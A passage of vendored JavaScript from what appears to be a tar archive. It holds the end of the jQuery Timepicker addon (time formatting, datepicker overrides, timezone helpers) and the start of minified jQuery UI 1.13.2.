{Object} [options] essentially the regional[].. amNames, pmNames, ampm * @returns {string} the formatted time */ $.datepicker.formatTime = function (format, time, options) { options = options || {}; options = $.extend({}, $.timepicker._defaults, options); time = $.extend({ hour: 0, minute: 0, second: 0, millisec: 0, microsec: 0, timezone: null }, time); var tmptime = format, ampmName = options.amNames[0], hour = parseInt(time.hour, 10); if (hour > 11) { ampmName = options.pmNames[0]; } tmptime = tmptime.replace(/(?:HH?|hh?|mm?|ss?|[tT]{1,2}|[zZ]|[lc]|'.*?')/g, function (match) { switch (match) { case 'HH': return ('0' + hour).slice(-2); case 'H': return hour; case 'hh': return ('0' + convert24to12(hour)).slice(-2); case 'h': return convert24to12(hour); case 'mm': return ('0' + time.minute).slice(-2); case 'm': return time.minute; case 'ss': return ('0' + time.second).slice(-2); case 's': return time.second; case 'l': return ('00' + time.millisec).slice(-3); case 'c': return ('00' + time.microsec).slice(-3); case 'z': return $.timepicker.timezoneOffsetString(time.timezone === null ? options.timezone : time.timezone, false); case 'Z': return $.timepicker.timezoneOffsetString(time.timezone === null ? options.timezone : time.timezone, true); case 'T': return ampmName.charAt(0).toUpperCase(); case 'TT': return ampmName.toUpperCase(); case 't': return ampmName.charAt(0).toLowerCase(); case 'tt': return ampmName.toLowerCase(); default: return match.replace(/'/g, ""); } }); return tmptime; }; /* * the bad hack :/ override datepicker so it doesn't close on select // inspired: http://stackoverflow.com/questions/1252512/jquery-datepicker-prevent-closing-picker-when-clicking-a-date/1762378#1762378 */ $.datepicker._base_selectDate = $.datepicker._selectDate; $.datepicker._selectDate = function (id, dateStr) { var inst = this._getInst($(id)[0]), tp_inst = this._get(inst, 'timepicker'), was_inline; if (tp_inst && inst.settings.showTimepicker) { tp_inst._limitMinMaxDateTime(inst, true); was_inline = inst.inline; inst.inline = inst.stay_open = true; //This way the onSelect handler called from calendarpicker get the full dateTime this._base_selectDate(id, dateStr); inst.inline = was_inline; inst.stay_open = false; this._notifyChange(inst); this._updateDatepicker(inst); } else { this._base_selectDate(id, dateStr); } }; /* * second bad hack :/ override datepicker so it triggers an event when changing the input field * and does not redraw the datepicker on every selectDate event */ $.datepicker._base_updateDatepicker = $.datepicker._updateDatepicker; $.datepicker._updateDatepicker = function (inst) { // don't popup the datepicker if there is another instance already opened var input = inst.input[0]; if ($.datepicker._curInst && $.datepicker._curInst !== inst && $.datepicker._datepickerShowing && $.datepicker._lastInput !== input) { return; } if (typeof(inst.stay_open) !== 'boolean' || inst.stay_open === false) { this._base_updateDatepicker(inst); // Reload the time control when changing something in the input text field. var tp_inst = this._get(inst, 'timepicker'); if (tp_inst) { tp_inst._addTimePicker(inst); } } }; /* * third bad hack :/ override datepicker so it allows spaces and colon in the input field */ $.datepicker._base_doKeyPress = $.datepicker._doKeyPress; $.datepicker._doKeyPress = function (event) { var inst = $.datepicker._getInst(event.target), tp_inst = $.datepicker._get(inst, 'timepicker'); if (tp_inst) { if ($.datepicker._get(inst, 'constrainInput')) { var ampm = tp_inst.support.ampm, tz = tp_inst._defaults.showTimezone !== null ? tp_inst._defaults.showTimezone : tp_inst.support.timezone, dateChars = $.datepicker._possibleChars($.datepicker._get(inst, 'dateFormat')), datetimeChars = tp_inst._defaults.timeFormat.toString() .replace(/[hms]/g, '') .replace(/TT/g, ampm ? 'APM' : '') .replace(/Tt/g, ampm ? 'AaPpMm' : '') .replace(/tT/g, ampm ? 'AaPpMm' : '') .replace(/T/g, ampm ? 'AP' : '') .replace(/tt/g, ampm ? 'apm' : '') .replace(/t/g, ampm ? 'ap' : '') + " " + tp_inst._defaults.separator + tp_inst._defaults.timeSuffix + (tz ? tp_inst._defaults.timezoneList.join('') : '') + (tp_inst._defaults.amNames.join('')) + (tp_inst._defaults.pmNames.join('')) + dateChars, chr = String.fromCharCode(event.charCode === undefined ? event.keyCode : event.charCode); return event.ctrlKey || (chr < ' ' || !dateChars || datetimeChars.indexOf(chr) > -1); } } return $.datepicker._base_doKeyPress(event); }; /* * Fourth bad hack :/ override _updateAlternate function used in inline mode to init altField * Update any alternate field to synchronise with the main field. */ $.datepicker._base_updateAlternate = $.datepicker._updateAlternate; $.datepicker._updateAlternate = function (inst) { var tp_inst = this._get(inst, 'timepicker'); if (tp_inst) { var altField = tp_inst._defaults.altField; if (altField) { // update alternate field too var altFormat = tp_inst._defaults.altFormat || tp_inst._defaults.dateFormat, date = this._getDate(inst), formatCfg = $.datepicker._getFormatConfig(inst), altFormattedDateTime = '', altSeparator = tp_inst._defaults.altSeparator ? tp_inst._defaults.altSeparator : tp_inst._defaults.separator, altTimeSuffix = tp_inst._defaults.altTimeSuffix ? tp_inst._defaults.altTimeSuffix : tp_inst._defaults.timeSuffix, altTimeFormat = tp_inst._defaults.altTimeFormat !== null ? tp_inst._defaults.altTimeFormat : tp_inst._defaults.timeFormat; altFormattedDateTime += $.datepicker.formatTime(altTimeFormat, tp_inst, tp_inst._defaults) + altTimeSuffix; if (!tp_inst._defaults.timeOnly && !tp_inst._defaults.altFieldTimeOnly && date !== null) { if (tp_inst._defaults.altFormat) { altFormattedDateTime = $.datepicker.formatDate(tp_inst._defaults.altFormat, date, formatCfg) + altSeparator + altFormattedDateTime; } else { altFormattedDateTime = tp_inst.formattedDate + altSeparator + altFormattedDateTime; } } $(altField).val( inst.input.val() ? altFormattedDateTime : ""); } } else { $.datepicker._base_updateAlternate(inst); } }; /* * Override key up event to sync manual input changes. */ $.datepicker._base_doKeyUp = $.datepicker._doKeyUp; $.datepicker._doKeyUp = function (event) { var inst = $.datepicker._getInst(event.target), tp_inst = $.datepicker._get(inst, 'timepicker'); if (tp_inst) { if (tp_inst._defaults.timeOnly && (inst.input.val() !== inst.lastVal)) { try { $.datepicker._updateDatepicker(inst); } catch (err) { $.timepicker.log(err); } } } return $.datepicker._base_doKeyUp(event); }; /* * override "Today" button to also grab the time and set it to input field. */ $.datepicker._base_gotoToday = $.datepicker._gotoToday; $.datepicker._gotoToday = function (id) { var inst = this._getInst($(id)[0]); this._base_gotoToday(id); var tp_inst = this._get(inst, 'timepicker'); if (!tp_inst) { return; } var tzoffset = $.timepicker.timezoneOffsetNumber(tp_inst.timezone); var now = new Date(); now.setMinutes(now.getMinutes() + now.getTimezoneOffset() + parseInt(tzoffset, 10)); this._setTime(inst, now); this._setDate(inst, now); tp_inst._onSelectHandler(); }; /* * Disable & enable the Time in the datetimepicker */ $.datepicker._disableTimepickerDatepicker = function (target) { var inst = this._getInst(target); if (!inst) { return; } var tp_inst = this._get(inst, 'timepicker'); $(target).datepicker('getDate'); // Init selected[Year|Month|Day] if (tp_inst) { inst.settings.showTimepicker = false; tp_inst._defaults.showTimepicker = false; tp_inst._updateDateTime(inst); } }; $.datepicker._enableTimepickerDatepicker = function (target) { var inst = this._getInst(target); if (!inst) { return; } var tp_inst = this._get(inst, 'timepicker'); $(target).datepicker('getDate'); // Init selected[Year|Month|Day] if (tp_inst) { inst.settings.showTimepicker = true; tp_inst._defaults.showTimepicker = true; tp_inst._addTimePicker(inst); // Could be disabled on page load tp_inst._updateDateTime(inst); } }; /* * Create our own set time function */ $.datepicker._setTime = function (inst, date) { var tp_inst = this._get(inst, 'timepicker'); if (tp_inst) { var defaults = tp_inst._defaults; // calling _setTime with no date sets time to defaults tp_inst.hour = date ? date.getHours() : defaults.hour; tp_inst.minute = date ? date.getMinutes() : defaults.minute; tp_inst.second = date ? date.getSeconds() : defaults.second; tp_inst.millisec = date ? date.getMilliseconds() : defaults.millisec; tp_inst.microsec = date ? date.getMicroseconds() : defaults.microsec; //check if within min/max times.. tp_inst._limitMinMaxDateTime(inst, true); tp_inst._onTimeChange(); tp_inst._updateDateTime(inst); } }; /* * Create new public method to set only time, callable as $().datepicker('setTime', date) */ $.datepicker._setTimeDatepicker = function (target, date, withDate) { var inst = this._getInst(target); if (!inst) { return; } var tp_inst = this._get(inst, 'timepicker'); if (tp_inst) { this._setDateFromField(inst); var tp_date; if (date) { if (typeof date === "string") { tp_inst._parseTime(date, withDate); tp_date = new Date(); tp_date.setHours(tp_inst.hour, tp_inst.minute, tp_inst.second, tp_inst.millisec); tp_date.setMicroseconds(tp_inst.microsec); } else { tp_date = new Date(date.getTime()); tp_date.setMicroseconds(date.getMicroseconds()); } if (tp_date.toString() === 'Invalid Date') { tp_date = undefined; } this._setTime(inst, tp_date); } } }; /* * override setDate() to allow setting time too within Date object */ $.datepicker._base_setDateDatepicker = $.datepicker._setDateDatepicker; $.datepicker._setDateDatepicker = function (target, _date) { var inst = this._getInst(target); var date = _date; if (!inst) { return; } if (typeof(_date) === 'string') { date = new Date(_date); if (!date.getTime()) { this._base_setDateDatepicker.apply(this, arguments); date = $(target).datepicker('getDate'); } } var tp_inst = this._get(inst, 'timepicker'); var tp_date; if (date instanceof Date) { tp_date = new Date(date.getTime()); tp_date.setMicroseconds(date.getMicroseconds()); } else { tp_date = date; } // This is important if you are using the timezone option, javascript's Date // object will only return the timezone offset for the current locale, so we // adjust it accordingly. If not using timezone option this won't matter.. // If a timezone is different in tp, keep the timezone as is if (tp_inst && tp_date) { // look out for DST if tz wasn't specified if (!tp_inst.support.timezone && tp_inst._defaults.timezone === null) { tp_inst.timezone = tp_date.getTimezoneOffset() * -1; } date = $.timepicker.timezoneAdjust(date, $.timepicker.timezoneOffsetString(-date.getTimezoneOffset()), tp_inst.timezone); tp_date = $.timepicker.timezoneAdjust(tp_date, $.timepicker.timezoneOffsetString(-tp_date.getTimezoneOffset()), tp_inst.timezone); } this._updateDatepicker(inst); this._base_setDateDatepicker.apply(this, arguments); this._setTimeDatepicker(target, tp_date, true); }; /* * override getDate() to allow getting time too within Date object */ $.datepicker._base_getDateDatepicker = $.datepicker._getDateDatepicker; $.datepicker._getDateDatepicker = function (target, noDefault) { var inst = this._getInst(target); if (!inst) { return; } var tp_inst = this._get(inst, 'timepicker'); if (tp_inst) { // if it hasn't yet been defined, grab from field if (inst.lastVal === undefined) { this._setDateFromField(inst, noDefault); } var date = this._getDate(inst); var currDT = null; if (tp_inst.$altInput && tp_inst._defaults.altFieldTimeOnly) { currDT = tp_inst.$input.val() + ' ' + tp_inst.$altInput.val(); } else if (tp_inst.$input.get(0).tagName !== 'INPUT' && tp_inst.$altInput) { /** * in case the datetimepicker has been applied to a non-input tag for inline UI, * and the user has not configured the plugin to display only time in altInput, * pick current date time from the altInput (and hope for the best, for now, until "ER1" is applied) * * @todo ER1. Since altInput can have a totally difference format, convert it to standard format by reading input format from "altFormat" and "altTimeFormat" option values */ currDT = tp_inst.$altInput.val(); } else { currDT = tp_inst.$input.val(); } if (date && tp_inst._parseTime(currDT, !inst.settings.timeOnly)) { date.setHours(tp_inst.hour, tp_inst.minute, tp_inst.second, tp_inst.millisec); date.setMicroseconds(tp_inst.microsec); // This is important if you are using the timezone option, javascript's Date // object will only return the timezone offset for the current locale, so we // adjust it accordingly. If not using timezone option this won't matter.. if (tp_inst.timezone != null) { // look out for DST if tz wasn't specified if (!tp_inst.support.timezone && tp_inst._defaults.timezone === null) { tp_inst.timezone = date.getTimezoneOffset() * -1; } date = $.timepicker.timezoneAdjust(date, tp_inst.timezone, $.timepicker.timezoneOffsetString(-date.getTimezoneOffset())); } } return date; } return this._base_getDateDatepicker(target, noDefault); }; /* * override parseDate() because UI 1.8.14 throws an error about "Extra characters" * An option in datapicker to ignore extra format characters would be nicer. */ $.datepicker._base_parseDate = $.datepicker.parseDate; $.datepicker.parseDate = function (format, value, settings) { var date; try { date = this._base_parseDate(format, value, settings); } catch (err) { // Hack! The error message ends with a colon, a space, and // the "extra" characters. We rely on that instead of // attempting to perfectly reproduce the parsing algorithm. if (err.indexOf(":") >= 0) { date = this._base_parseDate(format, value.substring(0, value.length - (err.length - err.indexOf(':') - 2)), settings); $.timepicker.log("Error parsing the date string: " + err + "\ndate string = " + value + "\ndate format = " + format); } else { throw err; } } return date; }; /* * override formatDate to set date with time to the input */ $.datepicker._base_formatDate = $.datepicker._formatDate; $.datepicker._formatDate = function (inst, day, month, year) { var tp_inst = this._get(inst, 'timepicker'); if (tp_inst) { tp_inst._updateDateTime(inst); return tp_inst.$input.val(); } return this._base_formatDate(inst); }; /* * override options setter to add time to maxDate(Time) and minDate(Time). MaxDate */ $.datepicker._base_optionDatepicker = $.datepicker._optionDatepicker; $.datepicker._optionDatepicker = function (target, name, value) { var inst = this._getInst(target), name_clone; if (!inst) { return null; } var tp_inst = this._get(inst, 'timepicker'); if (tp_inst) { var min = null, max = null, onselect = null, overrides = tp_inst._defaults.evnts, fns = {}, prop, ret, oldVal, $target; if (typeof name === 'string') { // if min/max was set with the string if (name === 'minDate' || name === 'minDateTime') { min = value; } else if (name === 'maxDate' || name === 'maxDateTime') { max = value; } else if (name === 'onSelect') { onselect = value; } else if (overrides.hasOwnProperty(name)) { if (typeof (value) === 'undefined') { return overrides[name]; } fns[name] = value; name_clone = {}; //empty results in exiting function after overrides updated } } else if (typeof name === 'object') { //if min/max was set with the JSON if (name.minDate) { min = name.minDate; } else if (name.minDateTime) { min = name.minDateTime; } else if (name.maxDate) { max = name.maxDate; } else if (name.maxDateTime) { max = name.maxDateTime; } for (prop in overrides) { if (overrides.hasOwnProperty(prop) && name[prop]) { fns[prop] = name[prop]; } } } for (prop in fns) { if (fns.hasOwnProperty(prop)) { overrides[prop] = fns[prop]; if (!name_clone) { name_clone = $.extend({}, name); } delete name_clone[prop]; } } if (name_clone && isEmptyObject(name_clone)) { return; } if (min) { //if min was set if (min === 0) { min = new Date(); } else { min = new Date(min); } tp_inst._defaults.minDate = min; tp_inst._defaults.minDateTime = min; } else if (max) { //if max was set if (max === 0) { max = new Date(); } else { max = new Date(max); } tp_inst._defaults.maxDate = max; tp_inst._defaults.maxDateTime = max; } else if (onselect) { tp_inst._defaults.onSelect = onselect; } // Datepicker will override our date when we call _base_optionDatepicker when // calling minDate/maxDate, so we will first grab the value, call // _base_optionDatepicker, then set our value back. if(min || max){ $target = $(target); oldVal = $target.datetimepicker('getDate'); ret = this._base_optionDatepicker.call($.datepicker, target, name_clone || name, value); $target.datetimepicker('setDate', oldVal); return ret; } } if (value === undefined) { return this._base_optionDatepicker.call($.datepicker, target, name); } return this._base_optionDatepicker.call($.datepicker, target, name_clone || name, value); }; /* * jQuery isEmptyObject does not check hasOwnProperty - if someone has added to the object prototype, * it will return false for all objects */ var isEmptyObject = function (obj) { var prop; for (prop in obj) { if (obj.hasOwnProperty(prop)) { return false; } } return true; }; /* * jQuery extend now ignores nulls! */ var extendRemove = function (target, props) { $.extend(target, props); for (var name in props) { if (props[name] === null || props[name] === undefined) { target[name] = props[name]; } } return target; }; /* * Determine by the time format which units are supported * Returns an object of booleans for each unit */ var detectSupport = function (timeFormat) { var tf = timeFormat.replace(/'.*?'/g, '').toLowerCase(), // removes literals isIn = function (f, t) { // does the format contain the token? return f.indexOf(t) !== -1 ? true : false; }; return { hour: isIn(tf, 'h'), minute: isIn(tf, 'm'), second: isIn(tf, 's'), millisec: isIn(tf, 'l'), microsec: isIn(tf, 'c'), timezone: isIn(tf, 'z'), ampm: isIn(tf, 't') && isIn(timeFormat, 'h'), iso8601: isIn(timeFormat, 'Z') }; }; /* * Converts 24 hour format into 12 hour * Returns 12 hour without leading 0 */ var convert24to12 = function (hour) { hour %= 12; if (hour === 0) { hour = 12; } return String(hour); }; var computeEffectiveSetting = function (settings, property) { return settings && settings[property] ? settings[property] : $.timepicker._defaults[property]; }; /* * Splits datetime string into date and time substrings. * Throws exception when date can't be parsed * Returns {dateString: dateString, timeString: timeString} */ var splitDateTime = function (dateTimeString, timeSettings) { // The idea is to get the number separator occurrences in datetime and the time format requested (since time has // fewer unknowns, mostly numbers and am/pm). We will use the time pattern to split. var separator = computeEffectiveSetting(timeSettings, 'separator'), format = computeEffectiveSetting(timeSettings, 'timeFormat'), timeParts = format.split(separator), // how many occurrences of separator may be in our format? timePartsLen = timeParts.length, allParts = dateTimeString.split(separator), allPartsLen = allParts.length; if (allPartsLen > 1) { return { dateString: allParts.splice(0, allPartsLen - timePartsLen).join(separator), timeString: allParts.splice(0, timePartsLen).join(separator) }; } return { dateString: dateTimeString, timeString: '' }; }; /* * Internal function to parse datetime interval * Returns: {date: Date, timeObj: Object}, where * date - parsed date without time (type Date) * timeObj = {hour: , minute: , second: , millisec: , microsec: } - parsed time. Optional */ var parseDateTimeInternal = function (dateFormat, timeFormat, dateTimeString, dateSettings, timeSettings) { var date, parts, parsedTime; parts = splitDateTime(dateTimeString, timeSettings); date = $.datepicker._base_parseDate(dateFormat, parts.dateString, dateSettings); if (parts.timeString === '') { return { date: date }; } parsedTime = $.datepicker.parseTime(timeFormat, parts.timeString, timeSettings); if (!parsedTime) { throw 'Wrong time format'; } return { date: date, timeObj: parsedTime }; }; /* * Internal function to set timezone_select to the local timezone */ var selectLocalTimezone = function (tp_inst, date) { if (tp_inst && tp_inst.timezone_select) { var now = date || new Date(); tp_inst.timezone_select.val(-now.getTimezoneOffset()); } }; /* * Create a Singleton Instance */ $.timepicker = new Timepicker(); /** * Get the timezone offset as string from a date object (eg '+0530' for UTC+5.5) * @param {number} tzMinutes if not a number, less than -720 (-1200), or greater than 840 (+1400) this value is returned * @param {boolean} iso8601 if true formats in accordance to iso8601 "+12:45" * @return {string} */ $.timepicker.timezoneOffsetString = function (tzMinutes, iso8601) { if (isNaN(tzMinutes) || tzMinutes > 840 || tzMinutes < -720) { return tzMinutes; } var off = tzMinutes, minutes = off % 60, hours = (off - minutes) / 60, iso = iso8601 ? ':' : '', tz = (off >= 0 ? '+' : '-') + ('0' + Math.abs(hours)).slice(-2) + iso + ('0' + Math.abs(minutes)).slice(-2); if (tz === '+00:00') { return 'Z'; } return tz; }; /** * Get the number in minutes that represents a timezone string * @param {string} tzString formatted like "+0500", "-1245", "Z" * @return {number} the offset minutes or the original string if it doesn't match expectations */ $.timepicker.timezoneOffsetNumber = function (tzString) { var normalized = tzString.toString().replace(':', ''); // excuse any iso8601, end up with "+1245" if (normalized.toUpperCase() === 'Z') { // if iso8601 with Z, its 0 minute offset return 0; } if (!/^(\-|\+)\d{4}$/.test(normalized)) { // possibly a user defined tz, so just give it back return parseInt(tzString, 10); } return ((normalized.substr(0, 1) === '-' ? -1 : 1) * // plus or minus ((parseInt(normalized.substr(1, 2), 10) * 60) + // hours (converted to minutes) parseInt(normalized.substr(3, 2), 10))); // minutes }; /** * No way to set timezone in js Date, so we must adjust the minutes to compensate. (think setDate, getDate) * @param {Date} date * @param {string} fromTimezone formatted like "+0500", "-1245" * @param {string} toTimezone formatted like "+0500", "-1245" * @return {Date} */ $.timepicker.timezoneAdjust = function (date, fromTimezone, toTimezone) { var fromTz = $.timepicker.timezoneOffsetNumber(fromTimezone); var toTz = $.timepicker.timezoneOffsetNumber(toTimezone); if (!isNaN(toTz)) { date.setMinutes(date.getMinutes() + (-fromTz) - (-toTz)); } return date; }; /** * Calls `timepicker()` on the `startTime` and `endTime` elements, and configures them to * enforce date range limits. * n.b. The input value must be correctly formatted (reformatting is not supported) * @param {Element} startTime * @param {Element} endTime * @param {Object} options Options for the timepicker() call * @return {jQuery} */ $.timepicker.timeRange = function (startTime, endTime, options) { return $.timepicker.handleRange('timepicker', startTime, endTime, options); }; /** * Calls `datetimepicker` on the `startTime` and `endTime` elements, and configures them to * enforce date range limits. * @param {Element} startTime * @param {Element} endTime * @param {Object} options Options for the `timepicker()` call. Also supports `reformat`, * a boolean value that can be used to reformat the input values to the `dateFormat`. * @param {string} method Can be used to specify the type of picker to be added * @return {jQuery} */ $.timepicker.datetimeRange = function (startTime, endTime, options) { $.timepicker.handleRange('datetimepicker', startTime, endTime, options); }; /** * Calls `datepicker` on the `startTime` and `endTime` elements, and configures them to * enforce date range limits. * @param {Element} startTime * @param {Element} endTime * @param {Object} options Options for the `timepicker()` call. Also supports `reformat`, * a boolean value that can be used to reformat the input values to the `dateFormat`. * @return {jQuery} */ $.timepicker.dateRange = function (startTime, endTime, options) { $.timepicker.handleRange('datepicker', startTime, endTime, options); }; /** * Calls `method` on the `startTime` and `endTime` elements, and configures them to * enforce date range limits. * @param {string} method Can be used to specify the type of picker to be added * @param {Element} startTime * @param {Element} endTime * @param {Object} options Options for the `timepicker()` call. Also supports `reformat`, * a boolean value that can be used to reformat the input values to the `dateFormat`. * @return {jQuery} */ $.timepicker.handleRange = function (method, startTime, endTime, options) { options = $.extend({}, { minInterval: 0, // min allowed interval in milliseconds maxInterval: 0, // max allowed interval in milliseconds start: {}, // options for start picker end: {} // options for end picker }, options); // for the mean time this fixes an issue with calling getDate with timepicker() var timeOnly = false; if(method === 'timepicker'){ timeOnly = true; method = 'datetimepicker'; } function checkDates(changed, other) { var startdt = startTime[method]('getDate'), enddt = endTime[method]('getDate'), changeddt = changed[method]('getDate'); if (startdt !== null) { var minDate = new Date(startdt.getTime()), maxDate = new Date(startdt.getTime()); minDate.setMilliseconds(minDate.getMilliseconds() + options.minInterval); maxDate.setMilliseconds(maxDate.getMilliseconds() + options.maxInterval); if (options.minInterval > 0 && minDate > enddt) { // minInterval check endTime[method]('setDate', minDate); } else if (options.maxInterval > 0 && maxDate < enddt) { // max interval check endTime[method]('setDate', maxDate); } else if (startdt > enddt) { other[method]('setDate', changeddt); } } } function selected(changed, other, option) { if (!changed.val()) { return; } var date = changed[method].call(changed, 'getDate'); if (date !== null && options.minInterval > 0) { if (option === 'minDate') { date.setMilliseconds(date.getMilliseconds() + options.minInterval); } if (option === 'maxDate') { date.setMilliseconds(date.getMilliseconds() - options.minInterval); } } if (date.getTime) { other[method].call(other, 'option', option, date); } } $.fn[method].call(startTime, $.extend({ timeOnly: timeOnly, onClose: function (dateText, inst) { checkDates($(this), endTime); }, onSelect: function (selectedDateTime) { selected($(this), endTime, 'minDate'); } }, options, options.start)); $.fn[method].call(endTime, $.extend({ timeOnly: timeOnly, onClose: function (dateText, inst) { checkDates($(this), startTime); }, onSelect: function (selectedDateTime) { selected($(this), startTime, 'maxDate'); } }, options, options.end)); checkDates(startTime, endTime); selected(startTime, endTime, 'minDate'); selected(endTime, startTime, 'maxDate'); return $([startTime.get(0), endTime.get(0)]); }; /** * Log error or data to the console during error or debugging * @param {Object} err pass any type object to log to the console during error or debugging * @return {void} */ $.timepicker.log = function () { // Older IE (9, maybe 10) throw error on accessing `window.console.log.apply`, so check first. if (window.console && window.console.log && window.console.log.apply) { window.console.log.apply(window.console, Array.prototype.slice.call(arguments)); } }; /* * Add util object to allow access to private methods for testability. */ $.timepicker._util = { _extendRemove: extendRemove, _isEmptyObject: isEmptyObject, _convert24to12: convert24to12, _detectSupport: detectSupport, _selectLocalTimezone: selectLocalTimezone, _computeEffectiveSetting: computeEffectiveSetting, _splitDateTime: splitDateTime, _parseDateTimeInternal: parseDateTimeInternal }; /* * Microsecond support */ if (!Date.prototype.getMicroseconds) { Date.prototype.microseconds = 0; Date.prototype.getMicroseconds = function () { return this.microseconds; }; Date.prototype.setMicroseconds = function (m) { this.setMilliseconds(this.getMilliseconds() + Math.floor(m / 1000)); this.microseconds = m % 1000; return this; }; } /* * Keep up with the version */ $.timepicker.version = "1.6.3"; })); �������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������vendor/jquery/jquery-ui.min.js����������������������������������������������������������������������0000666�����������������00000762154�15172447206�0012465 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������/*! jQuery UI - v1.13.2 - 2022-07-14 * http://jqueryui.com * Includes: widget.js, position.js, data.js, disable-selection.js, effect.js, effects/effect-blind.js, effects/effect-bounce.js, effects/effect-clip.js, effects/effect-drop.js, effects/effect-explode.js, effects/effect-fade.js, effects/effect-fold.js, effects/effect-highlight.js, effects/effect-puff.js, effects/effect-pulsate.js, effects/effect-scale.js, effects/effect-shake.js, effects/effect-size.js, effects/effect-slide.js, effects/effect-transfer.js, focusable.js, form-reset-mixin.js, jquery-patch.js, keycode.js, labels.js, scroll-parent.js, tabbable.js, unique-id.js, widgets/accordion.js, widgets/autocomplete.js, widgets/button.js, widgets/checkboxradio.js, widgets/controlgroup.js, widgets/datepicker.js, widgets/dialog.js, widgets/draggable.js, widgets/droppable.js, widgets/menu.js, widgets/mouse.js, widgets/progressbar.js, widgets/resizable.js, widgets/selectable.js, widgets/selectmenu.js, widgets/slider.js, widgets/sortable.js, widgets/spinner.js, widgets/tabs.js, widgets/tooltip.js * Copyright jQuery Foundation and other contributors; Licensed MIT */ !function(t){"use strict";"function"==typeof define&&define.amd?define(["jquery"],t):t(jQuery)}(function(V){"use strict";V.ui=V.ui||{};V.ui.version="1.13.2";var n,i=0,a=Array.prototype.hasOwnProperty,r=Array.prototype.slice;V.cleanData=(n=V.cleanData,function(t){for(var e,i,s=0;null!=(i=t[s]);s++)(e=V._data(i,"events"))&&e.remove&&V(i).triggerHandler("remove");n(t)}),V.widget=function(t,i,e){var s,n,o,a={},r=t.split(".")[0],l=r+"-"+(t=t.split(".")[1]);return e||(e=i,i=V.Widget),Array.isArray(e)&&(e=V.extend.apply(null,[{}].concat(e))),V.expr.pseudos[l.toLowerCase()]=function(t){return!!V.data(t,l)},V[r]=V[r]||{},s=V[r][t],n=V[r][t]=function(t,e){if(!this||!this._createWidget)return new n(t,e);arguments.length&&this._createWidget(t,e)},V.extend(n,s,{version:e.version,_proto:V.extend({},e),_childConstructors:[]}),(o=new i).options=V.widget.extend({},o.options),V.each(e,function(e,s){function n(){return i.prototype[e].apply(this,arguments)}function o(t){return i.prototype[e].apply(this,t)}a[e]="function"==typeof s?function(){var t,e=this._super,i=this._superApply;return this._super=n,this._superApply=o,t=s.apply(this,arguments),this._super=e,this._superApply=i,t}:s}),n.prototype=V.widget.extend(o,{widgetEventPrefix:s&&o.widgetEventPrefix||t},a,{constructor:n,namespace:r,widgetName:t,widgetFullName:l}),s?(V.each(s._childConstructors,function(t,e){var i=e.prototype;V.widget(i.namespace+"."+i.widgetName,n,e._proto)}),delete s._childConstructors):i._childConstructors.push(n),V.widget.bridge(t,n),n},V.widget.extend=function(t){for(var e,i,s=r.call(arguments,1),n=0,o=s.length;n<o;n++)for(e in s[n])i=s[n][e],a.call(s[n],e)&&void 0!==i&&(V.isPlainObject(i)?t[e]=V.isPlainObject(t[e])?V.widget.extend({},t[e],i):V.widget.extend({},i):t[e]=i);return t},V.widget.bridge=function(o,e){var a=e.prototype.widgetFullName||o;V.fn[o]=function(i){var t="string"==typeof i,s=r.call(arguments,1),n=this;return t?this.length||"instance"!==i?this.each(function(){var t,e=V.data(this,a);return"instance"===i?(n=e,!1):e?"function"!=typeof e[i]||"_"===i.charAt(0)?V.error("no such method '"+i+"' for "+o+" widget instance"):(t=e[i].apply(e,s))!==e&&void 0!==t?(n=t&&t.jquery?n.pushStack(t.get()):t,!1):void 0:V.error("cannot call methods on "+o+" prior to initialization; attempted to call method '"+i+"'")}):n=void 0:(s.length&&(i=V.widget.extend.apply(null,[i].concat(s))),this.each(function(){var t=V.data(this,a);t?(t.option(i||{}),t._init&&t._init()):V.data(this,a,new e(i,this))})),n}},V.Widget=function(){},V.Widget._childConstructors=[],V.Widget.prototype={widgetName:"widget",widgetEventPrefix:"",defaultElement:"<div>",options:{classes:{},disabled:!1,create:null},_createWidget:function(t,e){e=V(e||this.defaultElement||this)[0],this.element=V(e),this.uuid=i++,this.eventNamespace="."+this.widgetName+this.uuid,this.bindings=V(),this.hoverable=V(),this.focusable=V(),this.classesElementLookup={},e!==this&&(V.data(e,this.widgetFullName,this),this._on(!0,this.element,{remove:function(t){t.target===e&&this.destroy()}}),this.document=V(e.style?e.ownerDocument:e.document||e),this.window=V(this.document[0].defaultView||this.document[0].parentWindow)),this.options=V.widget.extend({},this.options,this._getCreateOptions(),t),this._create(),this.options.disabled&&this._setOptionDisabled(this.options.disabled),this._trigger("create",null,this._getCreateEventData()),this._init()},_getCreateOptions:function(){return{}},_getCreateEventData:V.noop,_create:V.noop,_init:V.noop,destroy:function(){var i=this;this._destroy(),V.each(this.classesElementLookup,function(t,e){i._removeClass(e,t)}),this.element.off(this.eventNamespace).removeData(this.widgetFullName),this.widget().off(this.eventNamespace).removeAttr("aria-disabled"),this.bindings.off(this.eventNamespace)},_destroy:V.noop,widget:function(){return this.element},option:function(t,e){var i,s,n,o=t;if(0===arguments.length)return V.widget.extend({},this.options);if("string"==typeof t)if(o={},t=(i=t.split(".")).shift(),i.length){for(s=o[t]=V.widget.extend({},this.options[t]),n=0;n<i.length-1;n++)s[i[n]]=s[i[n]]||{},s=s[i[n]];if(t=i.pop(),1===arguments.length)return void 0===s[t]?null:s[t];s[t]=e}else{if(1===arguments.length)return void 0===this.options[t]?null:this.options[t];o[t]=e}return this._setOptions(o),this},_setOptions:function(t){for(var e in t)this._setOption(e,t[e]);return this},_setOption:function(t,e){return"classes"===t&&this._setOptionClasses(e),this.options[t]=e,"disabled"===t&&this._setOptionDisabled(e),this},_setOptionClasses:function(t){var e,i,s;for(e in t)s=this.classesElementLookup[e],t[e]!==this.options.classes[e]&&s&&s.length&&(i=V(s.get()),this._removeClass(s,e),i.addClass(this._classes({element:i,keys:e,classes:t,add:!0})))},_setOptionDisabled:function(t){this._toggleClass(this.widget(),this.widgetFullName+"-disabled",null,!!t),t&&(this._removeClass(this.hoverable,null,"ui-state-hover"),this._removeClass(this.focusable,null,"ui-state-focus"))},enable:function(){return this._setOptions({disabled:!1})},disable:function(){return this._setOptions({disabled:!0})},_classes:function(n){var o=[],a=this;function t(t,e){for(var i,s=0;s<t.length;s++)i=a.classesElementLookup[t[s]]||V(),i=n.add?(function(){var i=[];n.element.each(function(t,e){V.map(a.classesElementLookup,function(t){return t}).some(function(t){return 